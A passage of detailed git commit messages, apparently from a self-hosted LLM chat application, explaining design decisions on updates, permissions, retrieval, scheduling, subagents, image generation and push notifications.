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 Jaroslav Beneš
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A version somebody can read, instead of a sha nobody can
Updates follow a channel now. `stable` is the newest vX.Y.Z tag; `edge` is the branch tip, which is what this did before. Stable is the default, because a branch tip is not a release -- following one means deploying whatever was pushed five minutes ago, possibly mid-feature, which is right for whoever builds this and wrong for whoever runs it. The page can now say "running 1.0.0, 1.1.0 available" rather than showing two shas and leaving somebody to guess. Read with git plumbing and never a forge API, for three reasons in the order they bite. It would need a token on the deployment host -- a credential that can reach the repository, sitting on a box, to answer a read-only question about version numbers. It would tie this to one forge, so a fork on GitHub gets nothing. And it breaks: checked against the Gitea this is developed on, `tea whoami` works and `tea releases list` returns a 500 from a server-side panic about token scopes, so a page resting on that endpoint would have shipped already broken. Release notes still travel, inside the annotated tag object, which `git for-each-ref` reads with no API anywhere. Two details that are only obvious after getting them wrong. A tag with a suffix is not a release: git's version sort puts v1.1.0-rc1 *above* v1.1.0, so accepting one would step a stable host onto a candidate on the strength of a hyphen. And `--sort=-v:refname` rather than a lexical sort, which puts v1.9.0 above v1.10.0 and does it silently the first time a project reaches ten of anything -- there is a test. What is running is `git describe --tags --always`, so it reads "1.0.0" at a tag, "1.0.0-7-gd4f56d" seven commits past one, and a bare sha before the first release ever exists. That last case is what `--always` is for. When it lands exactly on a tag whose name disagrees with __version__, the page says so: a tag cut before the version bump names a release nobody can identify afterwards, and the check costs no subprocess because both facts are already in hand. update.sh resolves the channel the same way and detaches at the tag rather than resetting -- a `reset --hard <tag>` while on main would move the local branch to it, which is a rewrite of a ref nobody asked to rewrite. A host with no tags falls back to the branch and says so, which is every host until the release. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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An update you can ask for, and a boundary that stays where it was
The button cannot do the work, and that is the whole design. The service runs as an unprivileged account, cannot restart itself, and should not be able to: a web application that can restart its own service is one whose worst day is much worse. So /admin/updates writes a file, and an opt-in systemd .path unit runs deploy/update.sh as root. Three properties hold it up, and each is a thing that could have been got wrong. The request file carries nothing that reaches a command line -- no branch, no ref, no arguments -- because the branch is baked into the unit at install time, so pressing the button is always "deploy the branch this host was configured with" and can never be "deploy something else". It is off unless somebody passes INSTALL_UPDATE_HELPER=1, and re-running the installer without it removes both units and the marker. And without the helper the page says so and prints the manual command rather than writing a file nothing is watching, which would be a button that reports success and does nothing. The card that says all of this is rendered whether or not there is anything to apply. It was inside the "there is an update" branch first, so an administrator could not discover the helper was missing until the day they needed it, which is the worst possible moment. Opening the page makes no network request; Check is the one thing that fetches. And it shows the log between, not a count: "3 behind" is a number somebody has to go and look up, while the subjects are what decides whether this is worth restarting for right now. Docker is one stage, because there is nothing to build -- no Node, no compiled assets. It bakes no secret key (one in an image is one every copy shares, and rotating it makes stored API keys unreadable), no data, and no .git, so /admin/updates inside a container correctly reports that it was not installed from a checkout. Compose publishes on loopback and refuses to start without a key. TLS in front is a constraint rather than a recommendation: the service worker and the microphone both require HTTPS or localhost. The image was built and run before this was committed, which is how the missing COPY of LICENSE was found -- pyproject declares it and the build backend reads it, so the failure reads like a packaging problem and is one line. deploy/lxc-install.sh creates an unprivileged Debian container and runs the existing installer inside it. A wrapper, not a second install path: a parallel installer is two things to keep correct and one of them rots. /healthz opens the database rather than only proving the socket is listening -- a process that is up with a database it cannot open answers every page with a 500 -- and says nothing about what is here, being reachable without signing in. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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Grants that outlive what they name, and a rule you can read
sharing.forget_principal has existed since shares did, documented as the thing that stops a recycled id inheriting somebody's grant, and was called by nobody. Deleting a group left every grant naming it; deleting an account left both the grants to it and the grants of its own work -- that second half is the one nothing else could catch, since their rows cascade and the shares of those rows have nothing to cascade from. Both now run before the delete, while the rows are still findable, and a deleted resource forgets its own. library.share defaulted to False, which meant sharing shipped documented as done and unreachable: the panel only renders for somebody holding it, so out of the box nobody could share anything and nothing said why. It is on. The panel itself was checkboxes inside the resource's *save form*, listing every group and every account on the instance, unpaginated, on every detail page -- and a tick only took effect if you also saved the resource. It is its own routes now: search, one grant per POST, the panel re-rendered from what is stored. Anything already shared stays listed whatever the search says, or removing a grant would mean searching for the name it was given to. Reports join the shareable set and memories still do not: a finished piece of work is the thing somebody most wants to hand over, and a record about a person is not content to pass round. reports.visible became sharing.visible_to, which is the one line its own docstring predicted. Two things fell out: `owned` beside `get`, because sharing grants reading and deleting is the owner's alone; and reading somebody else's report no longer clears their unread dot. Permissions gained the answer to "what can this person actually do?" -- explain() is resolve()'s working shown rather than thrown away, naming admin, the baseline, or the groups that granted each one. That is the simulation the union rule exists to make unnecessary, and until now the only way to get it was to open every group and read the grids by eye. Users and groups are list-plus-detail, and membership is edited from one side: it was on both, and a full-form POST from either overwrote what the other had shown. Read and write are split for notes, memory and skills -- checked on the tool's declared risk, after the gate so it can only narrow, and defaulting on. Quotas are the union rule applied to numbers, with the corner that makes it interesting: zero means "no limit" and wins outright, or a group saying unlimited would count for less than one saying a million. Absent means "no opinion". _narrower folds a group's ceiling with the instance's and is deliberately not min, for the same reason. Five axes, enforced where each is knowable -- before a reply is built, before a second one starts, on an agent reply's clock, before a minute of GPU, and beside the helper cap -- and usage is recorded even for a reply that was stopped or errored, because an endpoint charges either way. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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Finding a thing that does not use your words
Three pieces, and the first one is that they are all optional. Extraction stops being constants. Upload size, image edge, JPEG quality, PDF pages, extracted characters, orphan age and the text-extension list are settings now, read through a process-level snapshot rather than a session -- `prepare` and everything under it are called from routes, tool runners and the startup sweep, and several of those have no session in hand. Two things deliberately stayed constants: the decompression-bomb guard, which is a guard and not a preference, and ORPHAN_AGE, which would have been evaluated at import if it stayed in the signature and pinned the shipped 24 hours whatever anybody set. An embedding model is picked from the models an administrator flagged for it, and one that has since lost its flag is *named* rather than dropped from the picker: a setting that vanishes is one nobody can tell from a setting never made. Nothing here is required. Choosing none means no chunk rows, no requests, and retrieval.search returning exactly what fts.search_ids returns in exactly that order -- asserted, because it is what makes this safe to land on an instance that never asked for it. The two rankings are fused by reciprocal rank fusion: ranks and not scores, because bm25 is a corpus-dependent negative and cosine is 0..1, and normalising them onto one scale means picking a constant nobody can tune without a labelled set they do not have. RRF's one constant is famously insensitive and degrades to whichever list is non-empty -- which is what turns "no embedding model" into a branch that does not exist. A record scores as its best chunk rather than its average, or a long document about something else outranks a short one that says the thing. Width and model are stored beside every vector and a mismatch is skipped, because vectors from two spaces score against each other perfectly happily and mean nothing -- a search that works and is wrong is the worst failure this can have, and a model change now leaves stale rows ignored rather than trusted. Indexing is fired and forgotten, and how a change is noticed is a session event rather than a call in each of the ten library writers. That is a departure from this codebase's taste for explicit seams, for the reason tool_label is a Jinja global: a step every writer has to remember is one that gets forgotten, and here forgetting is silent -- the record saves, keyword search still finds it, and only its recall goes stale. Chunks are embedded before anything is deleted, so a failure leaves the old index rather than half a new one. Also: `embeddings` joins the model capabilities, and the three tool flags that had shipped with no checkbox -- canvas, scheduling and helpers -- have one. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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An instance that can be somebody else's
A name, a tagline, a logo, a favicon and the launcher icons derived from it; the Middle-earth strings as data; themes as token sets; and a stylesheet for what none of that reaches. All four are on one page, in one settings group. The snapshot is a Jinja global over a process-level cache, because render() has no session and four render paths never reach it at all -- the sign-in page, the error pages, the offline page and the SSE fragments. A context value would have had to be threaded through every one and would still have missed those. It being a global is also what lets mark() branch on an uploaded logo without any of its six call sites learning about branding; the macro that renders the sidebar link is called brandlink now, because a macro imported as `brand` shadows the global for the whole template and took out every page at once. Defaults in code and overrides in the database, as the prompt fragments do, with one difference stated in the module: an empty fragment means off, an empty flavour string means the shipped wording. And blanked rather than dropped -- settings_store.update merges, so an omitted key leaves what was stored last time and "I typed the default back in" would store something different from "I changed nothing". A custom theme sets a handful of tokens and inherits the rest, and the inheritance is a CSS fact: tokens.css matches [data-base="shire"] as well as [data-theme="shire"], so a custom light theme lands on parchment rather than four light colours on near-black. Values are validated on read rather than on save, because a theme written straight into the settings table still has to produce a stylesheet that parses -- a `}` in a value ends the rule and silently breaks every rule after it. The soft variants are derived from the accent, or a changed accent leaves focus rings in the old hue and reads as half-working. /branding.css is a route, not an inline block: an external stylesheet has no HTML context to escape from. The link carries a content hash, so a save is not left to the browser's cache, and it is deliberately outside the service worker's precache list, which is versioned by the release. The instance name moved off /admin/general rather than being duplicated there. An upgrade keeps it: the general row is read as a seed exactly while the branding row has never mentioned the name, which is `key in row` and not `row[key] is truthy` -- the two read alike would resurrect the old name underneath a cleared one. The theme list stops being a hard-coded pair in five places. Every failure mode in that area is silent, so it is driven under a DOM stub as well as tested. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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Work handed to a second model, which may not ask
subagent_run gives a self-contained piece of work to a helper carrying the parent's connection, directory, model and effort, and hands its answer back as the tool result. The mechanism is the one scheduled runs already use -- a hidden chat, one turn, wake_chat, and a poll -- so tools, rounds, budgets, metrics and steps all work with no second implementation. The two alternatives were rejected where they had already been rejected once: a nested Generation is two replies writing one transcript, and a one-shot complete() has no tools, which schedule/runner.py records as useless for exactly this case. Every restriction is a property of the child's row, applied by resolve_tools after the gates, because a rule that lives in a system message is one a page the model just read can argue with. No questions, no recursion, nothing that writes unless the call asked for it and the parent's own mode would not have stopped first, and commands only from a fixed read-only list -- in every mode including Auto, because the task text can have come from a page. Withdrawing ask_user turned out to be half of "nobody is watching". An approval still built a card nobody could see and parked the reply until approval_timeout, which from every screen is the feature not working. Chat.unattended is the question now, and not the kind: _authorise answers with a refusal instead. A scheduled task's chat had the same hole and is covered by the same flag. Three bounds, counted where each is knowable: per reply on the parent's Generation, instance-wide in a set a restart clears, and per helper in settings of its own so one runs out of room long before the reply that asked. Past the clock the helper is stopped rather than abandoned, so a partial answer comes back with a sentence saying so. Also: four gates had shipped into the scope menu with no name, taking the first tool's label instead -- the canvas switch read "Canvas written". There is a test that refuses a family without one. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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Defaults an administrator can actually set
There were none. `workflow.DEFAULTS` was the only source, so 512x512, euler and twenty steps were what every instance got whatever card it was running on -- and 512 square on an SDXL checkpoint is precisely what the tool's own description warns produces duplicated limbs. The two ways round it were both bad: bake literals into a template where the placeholders should be, or write prose in the instructions box and hope. Three rungs now, most specific winning, with DEFAULTS staying underneath as the floor so an instance that sets nothing behaves exactly as it did and a floor improved in code still reaches everybody. An empty box is "no opinion" rather than zero, which matters: read as a number it would set every instance to zero steps, and ComfyUI refuses that in a way that looks like a broken model. The right control for each, because a text box is wrong for most of them. The samplers and schedulers were already being discovered by the Test button, stored, and read by nothing at all -- they are the pickers now. A stored value missing from the list is kept as an option anyway, or opening this page and pressing Save would silently clear a working setting. Checkpoints are chosen rather than typed, and the instance default is a rung of its own instead of "whatever happens to be first in a textarea somebody filled in some order". And batch, at last: `batch_size` was a literal 1 in the base template, so an administrator whose card can comfortably make four had no way of saying so. Deliberately not something a model may set -- one asking for six because it is unsure is the exact cost this must not invite. The tool's schema restates the defaults it quotes. Every "Default 20." in there was written when there was one set of defaults in the world; left alone, an instance drawing at 1024 would go on telling the model 512, and the model reasons from that sentence rather than ignoring it. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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News that finds you, including when nothing of ours is open
The dots covered Reports and Messages from the day those sections existed. The announcement did not: only a chat reply produced an HX-Trigger, so a scheduled run that filed a report or posted into Messages lit a green dot in a corner and said nothing at all. That is precisely the arrival nobody is watching for -- a chat reply is one you asked for a moment ago and are probably looking at. So every kind announces, each with its own once-only flag, and the payload is a list of items rather than of titles, because a notification is a thing you click and a title cannot say where. One arrival, three channels, and they must not all fire. A toast for somebody looking at the page; a count in the tab title while it is hidden, cleared on focus; a system notification for somebody elsewhere entirely. The service worker is the only place that can tell them apart -- the server cannot see whether a window is focused and the page cannot see a push it did not receive -- so it stays quiet when one of its own windows has focus. And web push, hand-rolled against RFC 8291 and RFC 8292 with the cryptography already here for Fernet. It exists because everything else is polled by an open page, and the arrival worth interrupting somebody for is a schedule firing at seven in the morning with the laptop shut. The trade is real and is written down rather than glossed: the POST goes to Google's or Mozilla's push service, the payload is sealed end to end so they cannot read it, and what they do learn is that this server sent something and when. Opt-in per device, off until asked for, and the rest of the system works without it. Nothing else in LLeMbas contacts an outside service on its own. The encryption is tested by decrypting it back with an independent implementation of the specification's other half. There is no other way to know: a push service accepts the POST and forwards bytes it cannot read, so a wrong derivation is a notification that never appears, with a 201 in the log. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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Something a model could not do, and so wrote a note about instead
Asked to remind somebody every Monday, a model looked down its tool list, found notes_create described as "something worth having in a later conversation" and memory_add beginning with the word Remember, wrote a note, and reported that it had scheduled something. Every screen agreed with it. There was no scheduling tool at all -- the near-misses were the only thing there was to reach for, and nothing anywhere said the thing it was being asked for existed. The seam had been left open on purpose: Schedule.origin has defined ORIGIN_MODEL, with no writer, since scheduling shipped, and services/schedules.py says in its first line that it holds what the routes *and the tools* both need. This is the tool that was meant to go through it. Four of them, and a thin layer: rule.validate is still the one total normaliser the form and the compile share, schedules.create still writes the row and the task chat together, and rule.describe still says what came out. A second dialect for models would mean two definitions of "every other Tuesday" and one of them going quietly wrong. The result is that description, never "done". A schedule is invisible until it fires, which may be days away, so the sentence in the reply is the only moment anybody can check that Monday was read as Monday -- and the tool says so, in the text the model reads back. The list badges the ones nobody typed. Gated on schedule.use rather than a permission of its own: somebody who may set one up by hand may say so to a model instead, and a second checkbox beside the first would only ever be answered "the same as that one". Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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A connection that cannot point at the machine it is running on
"Nothing runs on the LLeMbas host" is the sentence the absent sandbox and the absent local MCP rest on, and an SSH profile aimed at 127.0.0.1 walked straight past it -- through a real login, with every gate in policy.py still applying, onto the machine holding the database and the Fernet key. From the SSH layer down it is indistinguishable from a container on the network, so nothing here could have noticed. One switch, three positions: never, one named port, anywhere. The middle one is the one with a real use -- a container that published its SSH port on the loopback interface is genuinely somewhere else -- and port 22 is refused even there, because that one is this host's own sshd. Enforced in five places, because a row can predate a setting: saving a profile, `session.resolve` (the control every agent tool, the terminal and the canvas go through), the composer's picker, browsing, and the draft the panels open against before a chat exists. Check refuses before it opens its socket rather than after. And the recognition never resolves a name on the request path. `refusal` runs several times per page render; the first version of this looked names up inline and the suite went from two minutes to not finishing. Literal forms are decided from the string, a name is settled where a network call is already expected, and the answer lives on the row. The gap that leaves is written down rather than discovered. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Jaroslav Beneš
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An edge that is not drawn, and a panel that stopped eating the site
`hx-get=""` is not "fetch nothing". htmx looks for the attribute, not for a value, so the empty one the canvas rendered before a chat existed was a real request for the empty path -- which the browser resolves against the current document. Opening the canvas on the new-chat screen fetched the new-chat screen and swapped the whole site into the panel. The attribute is omitted now, and a test refuses an empty verb anywhere on the page. Which panels can exist is the server's answer; which are offered is the browser's. Both need an agent chat on a chosen connection, and before a chat exists those are controls in the composer -- so answering with the first profile offered a terminal on an ordinary chat with nothing selected. They follow `lembas:agent-target` now, and an open panel whose target goes away is closed rather than left showing one machine under another's name. `.tabs__body` is only sometimes the scroller: true where the tabs are a bounded flex child, false under the admin layout, where the page scrolls instead. So setting its scrollTop on every tab change had never once run on /admin/prompts, silently, while the reader was dragged to the bottom of a document that had just got shorter. The rule names the position now, and the handler finds the container that actually scrolls. The two top borders come off. They were what made the misalignment at the bottom of the shell visible; `--footer-height` stays, because two ends at different heights are visible without a line to prove it. The top of the shell keeps its line -- there, everything is `--header-height` and aligns by construction. And one version. pyproject carried its own copy and had drifted three minors from the one everything actually reads. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Narrow a chat before it starts, and find a file rather than spell it
Six things, all found by using the thing rather than by reading it. The scope menu only appeared once a chat existed, on the reasoning that there was no row to post to. True, and the wrong conclusion: the harness puts a tool's guidance in front of the model the moment the tool is offered, so the menu could not be reached until after the model had been told how to keep notes and handed the tools to do it -- and switching it off then does not un-send that turn. It is on the new-chat screen now and writes nothing: `_scope_context` builds a stand-in Chat, which is `draft.as_chat`'s trick again, and the switches ride along with the first message. Checked means on and a browser submits only the ticked boxes, so every gate also renders a hidden input naming it and `start_chat` subtracts one list from the other; inverting the control would read backwards under a menu that says everything is on unless you say otherwise. Only the off ones are written, because absent means on and one representation of it is what keeps "why is this off?" to a single answer. Nothing is validated against the offered set, since scope_json narrows after every gate -- naming a gate that was never offered switches off something that was not on. Then the scheduling instructions, audited against a 4B model on this machine rather than against my own reading of them. Ten realistic requests, ten compiled, twice over -- so the prompt is sound. What was not sound was `describe`, which built a phrase by joining fragments and read "Every the 1st at 09:00" for the commonest monthly schedule there is, and "Every of January" for a month with no day. That string is the whole of what somebody sees before approving a schedule and the whole of what the model is told about its own chat, so a phrase nobody can parse is a review step nobody performs. It reads as English now, collapses Monday-to-Friday to "every weekday" and seven days to "every day", and every case in the test is a rule that model actually produced. The one mistake it made was naming Wednesday for "every other tuesday", so the weekday numbering is spelled out rather than left as "0-6, Monday is 0": getting that wrong is the error here that still looks like a working schedule. Roughly one call in six also came back empty -- a local runner swapping models under the request will do that -- so an unusable reply is asked for once more before giving up. Not on an LLMError: an endpoint that refused will refuse again, and the reader is better served by the form than by waiting twice for the same answer. Canvas asked for a typed path, which was the last control in the application expecting somebody to remember an absolute path on another machine -- the same complaint the folder page's directory field answered with a picker. /browse takes pick=file and the same fragment makes files buttons, because a second copy of that listing is a second place for the path arithmetic to be got subtly differently. The button carries data-canvas-open rather than an hx-post since the path is not known until the dialog closes, and ui.js posts it through htmx.ajax so the response lands in the panel exactly as every other canvas action's does. The key is `agent:<path>`, so a file opened by hand and one opened by the model are one tab rather than two spellings of it. The tabs already existed and already closed; they now square off at the bottom and the active one takes the body's background, so which is selected is structural rather than a tint nobody can see in a theme they did not choose. Highlighting was already there for every language named and is checked for fifteen of them. Three smaller ones. Tabs kept their scroll position, so switching from a long panel to a short one left the browser clamping to that panel's bottom: the end of it above a screen of nothing, which reads as a page that failed to load. Nothing in CSS can reset a scroll position. The sidebar's footer and the composer sit either side of one vertical edge and were both content-sized, so their top borders met it at different heights and read as one line that had been broken -- `--footer-height` is a calc of the pieces the footer is built from, applied as a min-height to both, which is exactly what `--header-height` already does at the top of the shell. And "Add a workflow" sat flush against the list it adds to, stated as an adjacency because `.btn-row` is right to carry no margin everywhere else it appears. Both pieces of JavaScript were driven under a DOM stub before committing, which is how the tab listener's delegation and the canvas button's six behaviours were checked at all -- `node --check` parses a file that does nothing. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Something can happen because time passed, and land somewhere worth reading
Nothing in LLeMbas ever happened on its own. Every reply was downstream of
somebody pressing Send, and the one exception -- jobs.wake, waking a chat when a
background job finishes -- was downstream of a command they had run. PLAN.md
never listed scheduling as unbuilt because services/chat.py:618 had recorded it
as a decision: "a scheduler is a whole new concern for a single-worker
application". This is that concern, taken on deliberately, plus the two places
its output goes.
Reports first, because it is useful with no scheduling at all. A report is not a
Chat with one Message in it: it has no turns and no reply, it is read top to
bottom, and it must be writable with no chat behind it -- being the fallback for
a run whose own chat has gone. As a Chat it would need a sidebar row per daily
report, a title that regenerates itself, a composer to suppress and a bubble with
a rewind button around something that is not a turn. The section's character is
enforced by absence: nothing under reports/ includes the composer or renders
chat/_message.html, so there is no sse-connect anywhere and nothing on those
pages *can* start a generation. The test reads that off the OpenAPI schema, not
by walking app.routes -- this FastAPI keeps an included router wrapped rather
than flattening it, so the walk finds nothing and the assertion passes for the
wrong reason.
rule.py is pure, total, and was finished before anything called it. No session,
no wall clock, nothing that raises: validate clamps what it recognises, drops
what it does not, and answers {} for prose -- at which point the caller shows the
manual form. It had to be that way because the compile step's output is model
output that becomes a *timer*, which is the sharpest case of hard rule 6 here.
The invariant, pinned: anything validate accepts has a computable next
occurrence. A schedule that can never fire looks exactly like a working one on
every screen it appears on.
Wall-clock and elapsed time are kept apart because they mean different things.
at.times are wall-clock in the owner's zone, so 15:00 stays 15:00 across a
daylight-saving change -- that is what "every Monday at 3PM" means. every is
elapsed real time, so six hours stays six hours across a 23- or 25-hour day --
that is what a timer means. Conflating them gets one of the two wrong twice a
year. A time inside the spring-forward gap fires at the first minute that exists;
left to zoneinfo's own resolution it lands an hour away wearing a wall-clock time
that did not happen, and a daily 02:30 report vanishing once a year on a machine
nobody watches is the failure this file is arranged around.
The ticker claims and commits *before* it fires. The other order is a hot loop: a
firing that raises is retried every tick for ever against whatever it was that
failed, and the only symptom is load. Its blanket except is copied from the
terminal reaper for a sharper reason -- a ticker that dies on one bad row stops
every schedule on the instance and says nothing at all. No request fails, no
reply errors, no dot appears. The reports simply stop.
Three rules that look like bugs from outside: a firing arriving while the chat is
still answering queues rather than starting a second reply, and past max_queued
is skipped with the reason on the row; Run now does not advance next_fire_at, or
testing a schedule silently consumes the run it was testing; resuming recomputes
from now, or a schedule paused for a month fires the instant it comes back, once
per occurrence it missed. Catching up lives in the sweep and not in a startup
hook, because a suspended host and a long stall reproduce "its time passed while
nothing was running" with no restart to hang one on.
services/wake.py is the lock discipline extracted rather than copied. A finished
job and a due schedule are the same problem, and both depend on there being no
await between the running_for check and the writes; two lock dictionaries for one
invariant is how one of them drifts. jobs.wake is now a caller that supplies
wording, and _completion_text stayed exactly where it was because tool.background
quotes its opening sentence.
A scheduled run has no reader, so ask_user is withdrawn from resolve_tools rather
than merely discouraged in core.unattended -- a rule living only in a system
message is one a page the model just read can argue with, and a parked question
holds the reply for the whole approval_timeout with nobody to answer it. For the
same reason a task chat may not be an agent chat in v1: Manual, Edit and Plan all
stop to ask on RISK_EXECUTE, so the only two outcomes would be unattended
execution and a reply that stalls. That deserves its own pass.
Messages is bounded in the request and unbounded on disk. Only the latest chunk
is sent; everything else stays exactly where it was written. Nothing is folded
into text and nothing is deleted -- the visible conversation is identical either
way, so destroying the older rows would buy only disk, against being irreversible
and losing every attachment and tool call in the range, and it would contradict
the rule compaction already holds. should_compact refuses this kind for the
matching reason: two mechanisms narrowing one transcript is how a summary ends up
summarising a summary. The history route is the mirror of thread_tail and keeps
its four properties; the fifth is its own, that prepending moves the scroll
position, so app.js records scrollHeight before the swap and adds the difference
back after.
An empty Chat.kind meant "both sides of the switch" and had been read as "no
filter" since there were only two of them. The sidebar passes "" precisely when
agent chats are switched off -- so the moment a third kind existed, every task
chat and every Messages conversation appeared in somebody's ordinary chat list,
on exactly the instances whose owners would never think to look. KINDS stays the
two-sided fork, because set_sidebar_kind validates against it and a third entry
there makes the tree filterable to a side with no button to leave it; ALL_KINDS
is what a row may be. Both narrowings are pinned, because they are two
implementations of one rule and only one of them is SQL.
Per-user timezone had to exist for any of this: harness.py:179 was telling every
reader the *server's* idea of the date, which is survivable while the answer is
prose and stops being survivable the moment somebody says "every Monday at 3" and
something has to work out when that is.
Three things were caught by a test being wrong rather than by the code being
wrong. The task-chat "no composer" assertions were passing against a page
rendering its no-models-configured branch. A permission test asserted the same
thing twice because the administrator bypasses every permission. And every
Messages test passed with default_model never called, because none of them
configured a model -- so the pair it returns was being assigned straight to
model_id, and SQLite refuses a tuple in a String column. The fixtures now say why
they exist.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
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Say what actually failed, and tell the model how to use the thing
Two problems, both found by looking rather than by guessing. ComfyUI writes its history entry in task_done and nowhere else, so the entry appearing IS "finished" -- but it sets completed=e.success, which means an out-of-memory, a cancelled job and a broken node all stay completed:false for ever. await_images waited on that flag. So every failure sat for the full 600s timeout and then reported a timeout, when ComfyUI had known within one second and written down the node, the exception type and the message. Proved by causing both against the real instance: an OOM now raises in 1.0s and an interrupt in 4.0s, each naming the node. The terminal condition is a record with a status, and status.messages is read for the last execution_error or execution_interrupted. OutOfMemory and Interrupted are their own classes because they are the two failures with an obvious next move: the first tells the model to retry at a named smaller size -- worked out from what it actually asked for, since "use a lower resolution" against a request that was already 512x512 is advice nobody can follow -- or with a lighter checkpoint; the second says somebody pressed stop, so do not simply start again. Everything else gets the reason and no advice, because a model told to try again after a broken workflow tries the identical thing. The OOM message is cut to its first sentence. The rest is allocator advice -- PYTORCH_CUDA_ALLOC_CONF, fragmentation notes -- addressed to whoever runs the box and meaningless to a model, in a tool result that is already a failure. Second: the parameters were described in the register of a reference table, and "cfg: prompt adherence, default 8" tells a model nothing it can act on. Measured on a 4B model, same request, same everything else: with the old wording it sent prompt and template and nothing more -- so 512x512 on an SDXL checkpoint, which is exactly the duplicated-limbs failure the width description now warns about. With descriptions that say what each value does to the picture and when to move it, the same model sent a portrait 1024x1536 and a deliberate sampler. ~3KB of schema per request in a chat that can draw, and the difference between having ten parameters and having one. docs/image-generation-instructions.md is the long version for the admin instructions box, for models that need more than the harness can afford to carry on every request in every chat. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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Draw a picture, on a ComfyUI you are running
The last unbuilt capability, and built the way CLAUDE.md said it had to be: a
ToolDef reaching resolve_tools plus a permission and a capability flag, not a new
code path. The only genuinely new UI is one branch in the transcript.
services/images/ is three modules. comfy.py speaks HTTP -- submit, poll /history,
fetch the PNG, /free, and an /object_info discovery for the admin page only.
Polled and not socketed, because holding a connection open for the length of a
generation is the live-connection state the whole ssh.py design forbids, and the
thing being waited for takes tens of seconds anyway. The base URL is exempt from
the SSRF guard by construction, exactly as Connection.base_url and the audio
endpoints are -- said out loud in the docstring, because a default of
127.0.0.1:8188 is precisely the shape that guard exists to refuse and therefore
reads as a hole rather than a decision.
workflow.py fills a template, and the one thing that matters is that it walks the
parsed JSON rather than the text of it. A value that is exactly "{{steps}}"
becomes the number 20; ComfyUI validates types and refuses the string. A
placeholder inside a longer string is still text, which is what makes
"{{prompt}}, masterpiece" work -- and text substitution would additionally mean a
prompt containing a quotation mark produced a document that no longer parses, on
the one input guaranteed to hold arbitrary text. Which node holds the prompt is
the administrator's statement rather than a guess from node types: sniffing for
the first CLIPTextEncode works on the shipped workflow and on nothing else, and
swaps positive for negative the first time somebody reorders them. seed has no
fixed default, because one would make every unspecified generation identical and
make the retry loop redraw the same rejected picture four times.
tool.py is one call, one finished image. Returning every attempt to the
conversation would cost a round each, make the ceiling advisory rather than
enforced, and walk the reader past every reject -- so the reviewer lives inside
the tool and is asked about *bytes*: an attempt about to be discarded should not
leave an Attachment behind, so it sees a downscaled preview built in memory and
only the kept image is written. Anything that goes wrong in review is a keep;
losing a picture because a judging request timed out would be the check
destroying the thing it was checking. The last attempt is kept whatever the
verdict, so a request always produces something. Rejects are recorded, not
stored.
Preserve VRAM unloads the chat's own connection and nothing else, because the
memory being freed belongs to one machine: local llama-swap answers GET /unload,
and a box on the network has no reason to be unloaded when ComfyUI wants memory
here. The swap goes round the review rather than round the tool, which costs two
model loads per retry -- so the two settings are independent and the page warns
when both are on. Nothing loads the LLM back: the reply's next request does, and
that step exists in the description and not in the code, so the code says so.
Two rules elsewhere had to be drawn for the first time. message_payload sends
images only on user turns -- no assistant message had ever carried one, and the
moment one does the multimodal list form on an assistant turn is rejected by
OpenAI and most local runners, breaking every later turn in the chat. And
files.store gained keep_original, because _process_image turns anything without
alpha into JPEG q85 at 1400px: right for a phone photo, a visible loss on the one
output this feature exists to produce.
/image sends the ordinary message with force_tool, which becomes tool_choice for
the first round only -- left in place the reply would draw a picture, be asked
again, and draw another. FORCEABLE_TOOLS is an allow list because the name is
read off a form.
ToolContext gained chat_id, and that fixed a tool nobody had ever successfully
run: _run_scratch_write read context.chat_id on a dataclass with no such field,
so every call raised AttributeError, swallowed by run_tool's blanket except into
"the scratch_write tool failed" -- indistinguishable from a model calling it
wrongly. The test that existed asserted the family and the risk, which are
properties of the declaration rather than of the code.
Verified against the real ComfyUI 0.27.0 on this machine rather than against
documentation: every endpoint shape here was read off it, a generation ran end to
end through the client, the reviewer was shown a matching and a mismatched prompt
and answered KEEP and RETRY correctly, and the unload hook fired for the local
llama-swap and not for the remote box.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
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Refusing can say why, and the why is an instruction
"Don't" told the model it was refused and nothing else, so it did the one sensible thing left and asked what you would rather -- a whole round spent on something you knew when you pressed the button. "Give reason" opens a box beside it, and what you write goes back with the refusal. The reason changes what the model is *told*, not only what it reads, and that is the whole of the feature. `_not_allowed` branches: given nothing to go on, "say what you were going to do and ask what they would prefer" is right; given a reason it is exactly wrong, because the answer is already on the screen above and the model spends a round asking for it again. So it is pointed at the reason and told to carry on from it. The "do not look for a way round" half is kept either way -- that half is about the refusal and holds regardless. A card-level field rather than `text.<key>`. One card covers everything in the round for the reason the primitive exists, so one reason answers the round; and on an approval card `text.<key>` already means a corrected command, which is a different thing arriving in the same shape. Read only on a refusal, so a reason typed and then abandoned by pressing Allow cannot travel with a permission. Bounded where the Reply is built, so nothing downstream thinks about length, and put on the tool event as well as in the result -- a transcript saying a step was refused without saying why is one you had to have been watching to understand. It is also the one thing in a tool result that is genuinely not untrusted: the reader's own words, stated as theirs, needing no fence. Both halves of the control are in the DOM with one hidden and the textarea disabled while hidden, which is the rule the edit box beside it already states: a field created by a click submits nothing when the click handler fails, and an empty `reason` arriving would have to be told from one somebody cleared. The version bump is not incidental. chat.css changed and the service worker caches it under a name keyed on the version, so without it the first reload serves the old stylesheet. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
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A job that finishes reaches the page you are looking at
Three complaints, all downstream of background commands.
A finished job woke the model and not the browser. `jobs.wake` writes the
